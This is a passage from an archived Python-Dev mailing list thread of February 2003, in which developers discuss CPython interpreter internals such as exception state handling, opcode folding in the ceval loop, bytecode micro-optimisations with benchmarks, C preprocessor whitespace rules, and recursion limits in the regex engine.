http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From tismer@tismer.com Wed Feb 26 02:19:40 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 03:19:40 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: References: Message-ID: <3E5C243C.7010105@tismer.com> Kevin Jacobs wrote: > On Wed, 26 Feb 2003, Christian Tismer wrote: > >>>>p.s.: I would probably have done the exception saving >>>>in the caller's frame, where it belongs, IMHO. >>> >>>I'm going to see if this is feasible. The current method is almost >>>certainly more efficient, but seems very backwards. >> >>No, I didn't refer to your code, but just to the >>implementation of (re)set_exc_info. > > > Actually, we're on the same page. I understand. >>I would have understood this much easier, if the saved exception were >>saved in the caller's frame. I'm not proposing a change, but maybe a >>comment, why this must be saved. Yes, probably it is most efficient to do >>it as it is. (Although functions called in an exception context are >>probably not the normal case which needs to be optimal). > > > Exactly. This is why I'm fairly certain that nobody looks at the > frame.f_exc_* values, since they make no sense in the context of that frame. > It should be trivial to dereference the traceback to find the generating > frame and stow the values there. Yeah, but Guido had some point there, which I still have to investigate. I'm not quite sure, yet. Will get back to it in the other thread. cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Wed Feb 26 02:21:29 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 21:21:29 -0500 Subject: [Python-Dev] Bytecode analysis In-Reply-To: "Your message of Wed, 26 Feb 2003 03:09:36 +0100." <3E5C21E0.5010003@tismer.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> Message-ID: <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> We should probably stop while we're chasing Fredrik away again :-), but there could be some merit in Christian's idea of replacing some of the more rarely-used opcodes by function calls, or by some other way of encoding these that uses fewer cases in the switch. But there aren't very many of these, so I'm not sure how much it will help. (And we should be careful not to change the semantics.) --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Wed Feb 26 02:40:11 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 03:40:11 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: <200302260124.h1Q1O7D16232@pcp02138704pcs.reston01.va.comcast.net> References: <200302260124.h1Q1O7D16232@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E5C290B.9010802@tismer.com> Guido van Rossum wrote: > p.s.: I would probably have done the exception saving > in the caller's frame, where it belongs, IMHO. > > I'm going to see if this is feasible. The current method is almost > certainly more efficient, but seems very backwards. > > > Watch out though. There are situations where an exception needs to be > stored but no frame is available (when executing purely in C). There > is always a thread state. I've been sitting a while over this puzzle now. tstate has two different kinds of exceptions: There are tstate->exc_XXX and tstate->curexc_XXX. I have been searching through the whole source trunk to validate my thought: All internal stuff is only concerned with handling tstate->curexc_XXX. The tstate->exc_XXX is *only* used in ceval.c . References to tstate->exc_XXX are only in pystate.c (clearing stuff) and sysmodule.c (accessing stuff). The only place where tstate->exc_XXX is filled with life is ceval.c, which indicates that this is purely interpreter- -related and has nothing to do with the internal exception state. It is eval_frame which checks for exceptions, normalizes them and turns them into interpreter-level exceptions, around line 2360 of ceval.c . After stating that, I conclude that tstate.exc_XXX can only be in use if there is an existing interpreter with an existing frame. Nobody else makes use of this structure. So, whenever you have to save this, you can expect a valid frame waiting in f_back that will be able to take it. (This all under the maybe false assumption that I'm not wrong). Still not proposing a change. But thanks for the time, I understood quite a lot more of the internals, now. all the best -- chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From nas@python.ca Wed Feb 26 02:59:56 2003 From: nas@python.ca (Neil Schemenauer) Date: Tue, 25 Feb 2003 18:59:56 -0800 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030226025956.GA17413@glacier.arctrix.com> Guido van Rossum wrote: > Some of that is already done (these say 'continue' instead of > 'break'). But I'm sure more can be done. I think Christian was referring to the ones that say "goto fast_next_opcode". Neil From jacobs@penguin.theopalgroup.com Wed Feb 26 03:20:37 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Tue, 25 Feb 2003 22:20:37 -0500 (EST) Subject: [Python-Dev] Traceback problem In-Reply-To: <200302260124.h1Q1O7D16232@pcp02138704pcs.reston01.va.comcast.net> Message-ID: On Tue, 25 Feb 2003, Guido van Rossum wrote: > > > p.s.: I would probably have done the exception saving > > > in the caller's frame, where it belongs, IMHO. > > > > I'm going to see if this is feasible. The current method is almost > > certainly more efficient, but seems very backwards. > > Watch out though. There are situations where an exception needs to be > stored but no frame is available (when executing purely in C). There > is always a thread state. Absolutely. I'm looking to store exception information into the right frame when it is currently stored into the current frame. This won't change how exceptions are also stored in the thread state. -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From tismer@tismer.com Wed Feb 26 03:21:52 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 04:21:52 +0100 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E5C32D0.4020509@tismer.com> Guido van Rossum wrote: > We should probably stop while we're chasing Fredrik away again :-), not by this discussion which he probably likes :-) > but there could be some merit in Christian's idea of replacing some of > the more rarely-used opcodes by function calls, or by some other way > of encoding these that uses fewer cases in the switch. But there > aren't very many of these, so I'm not sure how much it will help. Well, I haven't done a complete analysis yet, but there are quite some other candidates for refactoring. I just stumbled over IMPORT_XXX, which is normally only used during some initialization code. (Yeah, some people use it from inside a function, but I don't think it would break semantics to cache that after the first call...) UNPACK_SEQUENCE could stop to go through every alternative, just do the most common tule stuff and otherwise transfer to a function, which makes the code shorter. Then, there are 13 new opcodes for the INPLACE_XXX things. Are they used often enough to deserve so much space? The code patterns are very similar, despite add and subtract, which have inlined integer optimization. The latter special case *might* be considered to be folded into the BINARY_ADD special case, which looks almost exactly the same? The code only differs by the x = PyNumber_Add(v, w); vs. x = PyNumber_InPlaceAdd(v, w); fallbacks. Then, for example, see BINARY_XOR vs. INPLACE_XOR. These have exactly the same pattern, just a different function call inside. It can make sense to fold them back into one, i.e. one case for two opcodes but indexing the function, or even folding a whole bunch of these which look so very similar, and having a plain table of functions, directlyindexec by the opcode which is probably still sitting in a register. There are other patterns (randomly picked, since I didn't intend to really do an analysis now), like here: case INPLACE_TRUE_DIVIDE: case INPLACE_FLOOR_DIVIDE: case INPLACE_MODULO: The code has the same pattern all the time, popping stuff, calling a different function, decrefing, pushing result and handling errors. I might (might, but that needs investigation) pay off to fold such similar patterns into one routine, which picks the only difference (the internal function to be called) out of a table, instead of repeating all the surrounding code, explicitly. (although I generally agree that explicit is better than...:) So there are lots of ways of folding to try, if somebody cares. This is hard, anyway, since it is platform dependant whether it creates an advantage or the opposite, I fear. > (And we should be careful not to change the semantics.) Absolutely d'acor - ly -- chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From tismer@tismer.com Wed Feb 26 03:23:02 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 04:23:02 +0100 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <20030226025956.GA17413@glacier.arctrix.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <20030226025956.GA17413@glacier.arctrix.com> Message-ID: <3E5C3316.5000505@tismer.com> Neil Schemenauer wrote: > Guido van Rossum wrote: > >>Some of that is already done (these say 'continue' instead of >>'break'). But I'm sure more can be done. > > > I think Christian was referring to the ones that say "goto > fast_next_opcode". (Nodding fast and repeatedly, with a smile) -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From tismer@tismer.com Wed Feb 26 03:48:37 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 04:48:37 +0100 Subject: [Python-Dev] Bytecode idea In-Reply-To: <3E5C32D0.4020509@tismer.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> Message-ID: <3E5C3915.6070600@tismer.com> Christian Tismer wrote: [much about bytecode, folding, ...] Well, to stop myself blathering about bytecode and how to make it different, which I'm expected to do other things or at least sleep, I can't resist to throw this rigorous idea into py-dev, which struck me at 4:30 in the morning: WHat would happen if we re-structured the ceval loop this way: We look at every similar pattern and group together all the opcodes which have a similar pattern. By "pattern" I mean the surrounding calls of simple things like stack operations before and after, and error handling. So what I would like to try is to merge all opcodes which have exactly the same pattern into one case, which then does the common preparation stuff and postprocessing including error handling, but internally dispatches on the function to be called. No idea if it may be an improvement, but just let me throw it in. Example: case UNARY_POSITIVE: v = POP(); x = PyNumber_Positive(v); Py_DECREF(v); PUSH(x); if (x != NULL) continue; break; case UNARY_NEGATIVE: v = POP(); x = PyNumber_Negative(v); Py_DECREF(v); PUSH(x); if (x != NULL) continue; break; ... case UNARY_CONVERT: v = POP(); x = PyObject_Repr(v); Py_DECREF(v); PUSH(x); if (x != NULL) continue; break; case UNARY_INVERT: v = POP(); x = PyNumber_Invert(v); Py_DECREF(v); PUSH(x); if (x != NULL) continue; break; is converted into case UNARY_POSITIVE: case UNARY_NEGATIVE: case UNARY_CONVERT: case UNARY_INVERT: v = POP(); switch (opcode) { case UNARY_POSITIVE: x = PyNumber_Positive(v); break; case UNARY_NEGATIVE: x = PyNumber_Negative(v); break; case UNARY_CONVERT: x = PyObject_Repr(v); break; case UNARY_INVERT: x = PyNumber_Invert(v); } Py_DECREF(v); PUSH(x); if (x != NULL) continue; break; Maybe it also makes sense to use indexing into a static array, instead of the case construct. Note that there can be one single such table for all opcodes and all cases, since opcodes are still disjoint. It depends where this table is stored and if this can get in the cache. While I don't know if this really makes the interpreter more efficient, at least it makes it shorter to read and maybe easier to maintain. Ok ok, I will sleep now :-) cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From python@rcn.com Wed Feb 26 04:05:38 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 25 Feb 2003 23:05:38 -0500 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> Message-ID: <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> There is a piece of low hanging fruit in "while True" constructs. If the code generator can recognize it, then three op-codes can be shaved off of every pass (LOAD_GLOBAL, JUMP_IF_FALSE, and POP_TOP). Raymond Hettinger --------------------------------------------------------- >>> def f(): while True: print "hello" >>> dis.dis(f) 2 0 SETUP_LOOP 17 (to 20) >> 3 LOAD_GLOBAL 0 (True) 6 JUMP_IF_FALSE 9 (to 18) 9 POP_TOP 3 10 LOAD_CONST 1 ('hello') 13 PRINT_ITEM 14 PRINT_NEWLINE 15 JUMP_ABSOLUTE 3 -------------------------------------------------------- It would be great if lines 3, 6, and 9 were not generated or if line 15 was JUMP_ABSOLUTE 10. From python@rcn.com Wed Feb 26 04:11:48 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 25 Feb 2003 23:11:48 -0500 Subject: [Python-Dev] Bytecode idea References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> Message-ID: <00a501c2dd4d$2f628040$125ffea9@oemcomputer> > Maybe it also makes sense to use indexing into a static > array, instead of the case construct. That makes sense to me. I would be stunned if adding an inner case statement helped (the cost of a second unpredicable branch would have to be less than the cost of cache line utilization of a bit of redundant code). My thought on the big case statement was to have it do more disaggregration. For instance, each op code already knows whether it needs an oparg, so there is no need for a separate test for it on every pass with HAS_ARG(opcode). > While I don't know if this really makes the interpreter > more efficient Time it and see. Raymond Hettinger From tismer@tismer.com Wed Feb 26 04:32:58 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 05:32:58 +0100 Subject: [Python-Dev] Bytecode idea In-Reply-To: <00a501c2dd4d$2f628040$125ffea9@oemcomputer> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a501c2dd4d$2f628040$125ffea9@oemcomputer> Message-ID: <3E5C437A.3030009@tismer.com> Raymond Hettinger wrote: >> Maybe it also makes sense to use indexing into a static >> array, instead of the case construct. > > That makes sense to me. I would be stunned if adding > an inner case statement helped (the cost of a second > unpredicable branch would have to be less than the > cost of cache line utilization of a bit of redundant code). It depends. The unpredictable branche isn't better than the unpredictable call to a function from an indexed table. The case just might have the advantage to live in the same code segment, at least as I know from the M$ compiler. The indirect jump table may live elsewhere in the data... > My thought on the big case statement was to have it do > more disaggregration. For instance, each op code already > knows whether it needs an oparg, so there is no need for > a separate test for it on every pass with HAS_ARG(opcode). This is true. I used this in my optimization from two years ago, and moved the oparg preparation into the opcode cases, not doing any test, but just fetching the argument. I also turned this into macros which added to the insn pointer only once. Incredible but true: Most of the win I gathered was by typecasting the oparg access differently into a reference to a short int, instead of oring two bytes. But this is due to the dumbness of those compilers... >>While I don't know if this really makes the interpreter >>more efficient > > Time it and see. No, I will not. I just wanted to give some hints to where I see optimizations which might be promising. But I have no time to try this by myself. Also, as already stated, I don't see enough to be gatherable at all, to start an effort. What can I win: 25 to 40 percent? What I'm after is an order of magnitude. cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From python@rcn.com Wed Feb 26 04:59:53 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 25 Feb 2003 23:59:53 -0500 Subject: [Python-Dev] Bytecode idea References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a501c2dd4d$2f628040$125ffea9@oemcomputer> <3E5C437A.3030009@tismer.com> Message-ID: <00be01c2dd53$e7160800$125ffea9@oemcomputer> > This is true. I used this in my optimization from two > years ago, and moved the oparg preparation into the > opcode cases, not doing any test, but just fetching > the argument. What happened to the optimization. It is not in the current code? > I also turned this into macros which > added to the insn pointer only once. > Incredible but true: Most of the win I gathered was > by typecasting the oparg access differently into > a reference to a short int, instead of oring two > bytes. I skipped over that one because I thought that it would fail on a big-endian computer. Raymond Hettinger From tim.one@comcast.net Wed Feb 26 05:51:07 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 26 Feb 2003 00:51:07 -0500 Subject: [Python-Dev] Re: [Python-checkins] python/dist/src configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18 In-Reply-To: <20030225211646.GQ2041@epoch.metaslash.com> Message-ID: [Neal Norwitz] > I always thought you could have whitespace between the '#' and the > directive name, but not before the '#'. According to everything I > read, you can have spaces before the '#', tabs are less clear. I > didn't find any info about which standard they are referring to. The C standards aren't available for free, but the C99 standard is cheap. It's quite clear. A preprocessing directive consists of a sequence of preprocessing tokens that begins with a # preprocessing token that (at the start of translation phase 4) is either the first character in the source file (optionally after white space containing no new-line characters) or that follows white space containing at least one new-line character, and is ended by the next new-line character. A new-line character ends the preprocessing directive even if it occurs within what would otherwise be an invocation of a function- like macro. Later: The only white-space characters that shall appear between preprocessing tokens within a preprocessing directive (from just after the introducing # preprocessing token through just before the terminating new-line character) are space and horizontal-tab (including spaces that have replaced comments or possibly other white-space characters in translation phase 3). So you can actually have any whitespace characters before the #, but only space and tab after it. I used to have a bootleg C89 standard on my drive, but can't seem to find it. I doubt it's different here, but don't know for sure. The C99 Rationale (not part of the C99 standard) says: Different implementations have had different notions about whether white space is permissible before and/or after the # signalling a preprocessor line. The C89 Committee decided to allow any white space before the #, and horizontal white space (spaces or tabs) between the # and the directive, since the white space introduces no ambiguity, causes no particular processing problems, and allows maximum flexibility in coding style. Note that similar considerations apply for comments, which are reduced to white space early in the phases of translation. This strongly implies that the same rules held in C89. From dmorton@bitfurnace.com Wed Feb 26 05:59:11 2003 From: dmorton@bitfurnace.com (damien morton) Date: Wed, 26 Feb 2003 00:59:11 -0500 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <200302260125.h1Q1PB516246@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <000101c2dd5c$2fdcbb80$6401a8c0@damien> I implemented LOAD_FAST_n, STORE_FAST_n, LOAD_CONST_n for n < 16 Getting a small 2% improvement in speed Going from about 21800 PyStones to 22300 PyStones; very hard to get consistent readings on the PyStones - anyone got any tips on how to get more consistent results under windows? Getting a small 3% reduction in .pyc filesizes os.path 24,929 unmodified os.path 24,149 with modifications I sort of cheated on the switch statement to avoid the use of a goto. opcode = NEXTOP(); if (HAS_ARG(opcode)) oparg = NEXTARG(); ... switch (opcode) { ... case LOAD_FAST_14: case LOAD_FAST_15: oparg = opcode - LOAD_FAST_0; case LOAD_FAST: x = GETLOCAL(oparg); if (x != NULL) { Py_INCREF(x); ... I also altered the opcode.h file to use an enum for the opcodes instead of all those #defines. Much easier to re-arrange things that way. I have a feeling that most of the speedup (such that it is) comes from that re-arrangment, which packs the opcodes into a contiguous numeric space. I suspect that sorting the opcodes by frequency of access might also have some positive effect. Also, organising the opcodes and the switch statement so that frequently co-occuring opcodes are adjacent to each other might also have some positive effect. > -----Original Message----- > From: guido@python.org [mailto:guido@python.org] > Sent: Tuesday, 25 February 2003 20:25 > To: damien morton > Cc: python-dev@python.org > Subject: Re: [Python-Dev] Bytecode analysis > > > > As you say, LOAD_FAST is a very frequently occuring > instruction, both > > statically and dynamically. Reducing it from a 3 byte > instruction to a > > 1 byte instruction in 97% of (static) cases should be an > overall good. > > > > Most of the opcodes I proposed could be added without disturbing > > locality of reference. > > > > e.g. > > > > switch (op = *p++) { > > ... > > case LOAD_FAST: > > index = (*p++) + (*p++)<<8 > > goto LOAD_FAST_MAIN; > > break; > > case LOAD_FAST_0: > > case LOAD_FAST_1: > > case LOAD_FAST_15: > > index = op - LOAD_FAST_0 > > LOAD_FAST_MAIN: > > ... > > break; > > > > > > } > > Good idea. Can you benchmark this? > > --Guido van Rossum (home page: http://www.python.org/~guido/) > > From newsgroups1@bitfurnace.com Wed Feb 26 07:14:19 2003 From: newsgroups1@bitfurnace.com (Damien Morton) Date: Wed, 26 Feb 2003 02:14:19 -0500 Subject: [Python-Dev] Re: Bytecode idea References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> Message-ID: > Christian Tismer wrote: > So what I would like to try is to merge all opcodes > which have exactly the same pattern into one case, > which then does the common preparation stuff and > postprocessing including error handling, but internally > dispatches on the function to be called. I tried this on the 2.3a2 source, modifying it to implement your idea. This was implemented on top of the LOAD_FAST_n, etc, changes. No luck - it makes the code slower by nearly 5%, decreasing a base 22300 PyStones to 21100 PyStones. That is, the idea of using function pointers. I imagine that a case statement would be even slower. I didnt implement the table of function pointers as one monolithic table, as the unary and binary functions have different signatures. static binaryfunc binop[] = { PyNumber_Multiply, PyNumber_TrueDivide, PyNumber_TrueDivide, PyNumber_FloorDivide, PyNumber_Remainder, PyNumber_Lshift, PyNumber_Rshift, PyNumber_And, PyNumber_Xor, PyNumber_Or, PyNumber_InPlaceMultiply, PyNumber_InPlaceTrueDivide, PyNumber_InPlaceTrueDivide, PyNumber_InPlaceFloorDivide, PyNumber_InPlaceRemainder, PyNumber_InPlaceLshift, PyNumber_InPlaceRshift, PyNumber_InPlaceAnd, PyNumber_InPlaceXor, PyNumber_InPlaceOr }; switch (opcode) { ... case BINARY_MULTIPLY: case BINARY_DIVIDE: case BINARY_TRUE_DIVIDE: case BINARY_FLOOR_DIVIDE: case BINARY_MODULO: case BINARY_LSHIFT: case BINARY_RSHIFT: case BINARY_AND: case BINARY_XOR: case BINARY_OR: case INPLACE_MULTIPLY: case INPLACE_DIVIDE: case INPLACE_TRUE_DIVIDE: case INPLACE_FLOOR_DIVIDE: case INPLACE_MODULO: case INPLACE_LSHIFT: case INPLACE_RSHIFT: case INPLACE_AND: case INPLACE_XOR: case INPLACE_OR: w = POP(); v = TOP(); x = binop[opcode-BINARY_MULTIPLY](v, w); Py_DECREF(v); Py_DECREF(w); SET_TOP(x); if (x != NULL) continue; break; ... "Christian Tismer" wrote in message news:3E5C3915.6070600@tismer.com... > Christian Tismer wrote: > [much about bytecode, folding, ...] > > Well, to stop myself blathering about bytecode and > how to make it different, which I'm expected to do > other things or at least sleep, I can't resist > to throw this rigorous idea into py-dev, which > struck me at 4:30 in the morning: > > WHat would happen if we re-structured the ceval > loop this way: > We look at every similar pattern and group together > all the opcodes which have a similar pattern. > By "pattern" I mean the surrounding calls of simple > things like stack operations before and after, and > error handling. > > So what I would like to try is to merge all opcodes > which have exactly the same pattern into one case, > which then does the common preparation stuff and > postprocessing including error handling, but internally > dispatches on the function to be called. > > No idea if it may be an improvement, but just let me throw > it in. > Example: > > case UNARY_POSITIVE: > v = POP(); > x = PyNumber_Positive(v); > Py_DECREF(v); > PUSH(x); > if (x != NULL) continue; > break; > > case UNARY_NEGATIVE: > v = POP(); > x = PyNumber_Negative(v); > Py_DECREF(v); > PUSH(x); > if (x != NULL) continue; > break; > ... > case UNARY_CONVERT: > v = POP(); > x = PyObject_Repr(v); > Py_DECREF(v); > PUSH(x); > if (x != NULL) continue; > break; > > case UNARY_INVERT: > v = POP(); > x = PyNumber_Invert(v); > Py_DECREF(v); > PUSH(x); > if (x != NULL) continue; > break; > > is converted into > > case UNARY_POSITIVE: > case UNARY_NEGATIVE: > case UNARY_CONVERT: > case UNARY_INVERT: > v = POP(); > switch (opcode) { > case UNARY_POSITIVE: > x = PyNumber_Positive(v); break; > case UNARY_NEGATIVE: > x = PyNumber_Negative(v); break; > case UNARY_CONVERT: > x = PyObject_Repr(v); break; > case UNARY_INVERT: > x = PyNumber_Invert(v); > } > Py_DECREF(v); > PUSH(x); > if (x != NULL) continue; > break; > > Maybe it also makes sense to use indexing into a static > array, instead of the case construct. Note that there > can be one single such table for all opcodes and all cases, > since opcodes are still disjoint. It depends where this > table is stored and if this can get in the cache. > > While I don't know if this really makes the interpreter > more efficient, at least it makes it shorter to read > and maybe easier to maintain. > > Ok ok, I will sleep now :-) > > cheers - chris > > -- > Christian Tismer :^) > Mission Impossible 5oftware : Have a break! Take a ride on Python's > Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ > 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ > work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 > PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 > whom do you want to sponsor today? http://www.stackless.com/ From gherron@islandtraining.com Wed Feb 26 08:22:15 2003 From: gherron@islandtraining.com (Gary Herron) Date: Wed, 26 Feb 2003 00:22:15 -0800 Subject: [Python-Dev] Some questions about maintenance of the regular expression code. Message-ID: <200302260022.15512.gherron@islandtraining.com> I've decided to answer Guido's call for someone to take over maintenance of the SRE code since it has started to fall into disrepair. First a short introduction and then on with a question that begs for some discussion on this list. My name is Gary Herron. I've been using Python whenever possible for about 8 years (and for most of the last year and a half I've been able to choose Python almost exclusively -- lucky me). I've mostly lurked around the python and python-dev lists, only occasionally offering help or comments. Volunteering to maintain the SRE code seems like a good opportunity to jump in and do something useful. Now on with the questions at hand: The first glance at the regular expression bug list and the _sre.c code results in the observation that several of the bugs are related to running over the recursion limit. The problem comes from using a pattern containing ".*?" in a situation where it is expected to match many thousands of characters. Each character matched by ".*?" causes one level or recursion, quickly overflowing the recursion limit. Question 1: Should we even consider these as bugs? After all the recursion limit is in place to prevent badly used re's from crashing Python with a stack overflow. We could claim the kinds of patterns which cause heavy recursion are miss-uses of regular expressions which are bound to fail when used on long strings. If we take this route, something should be added to the documentation which explains when excessive recursion is likely to bite. Question 2: If we want to solve the problem (instead of just dodging it) how should we proceed? * Increasing the limit beyond the current 10000 is not really an option for two reasons: 1. This doesn't solve the problem. One can always match on a string purposely chosen to be long enough to overflow any recursion limit. 2. A recent patch (browse "cvs log _sre.c" to find a reference) actually lowered the limit from 10000 to 7500 for certain 64-bit machines which apparently suffered a stack overflow before hitting 10000 recursion levels. * An attempt to replace the hard-coded upper limit with a programmed check of the stack space (see Misc/HISTORY for a reference to PyOS_CheckStack) was added and then withdrawn for version 2.0. Does anybody know the history of this? This would not really solve the problem (especially on the 64 bit machines which could not even hit 10000 levels of recursion), but it would push the recursion limit to its highest possible value rather than some arbitrary hard-coded value. * Removing the recursion by the standard method of storing state in a program managed stack and looping rather than recursing would push the storage problem from the stack into the (probably much larger) heap. I haven't looked at the code enough to judge if this is feasible, but if it is, some limit would still remain. It would, however, depend on available memory rather than stack space. And still, the documentation should warn that certain naive pattens on LONG strings could fail after wasting much time chewing through all available memory. * I notice that, unlike pattern ".*?", matching to pattern ".*" does not recurse for each character matched. With only a few minutes of looking at the code, I can't begin to guess if it is feasible to make the former work like the later without recursing. Any comments? Remember that all the points under question 2 are worth considering only if we decide we really ought to support things like patterns using ".*?" to match many thousands of characters. Thanks, Gary Herron From mal@lemburg.com Wed Feb 26 09:08:33 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 26 Feb 2003 10:08:33 +0100 Subject: [Python-Dev] Some questions about maintenance of the regular expression code. In-Reply-To: 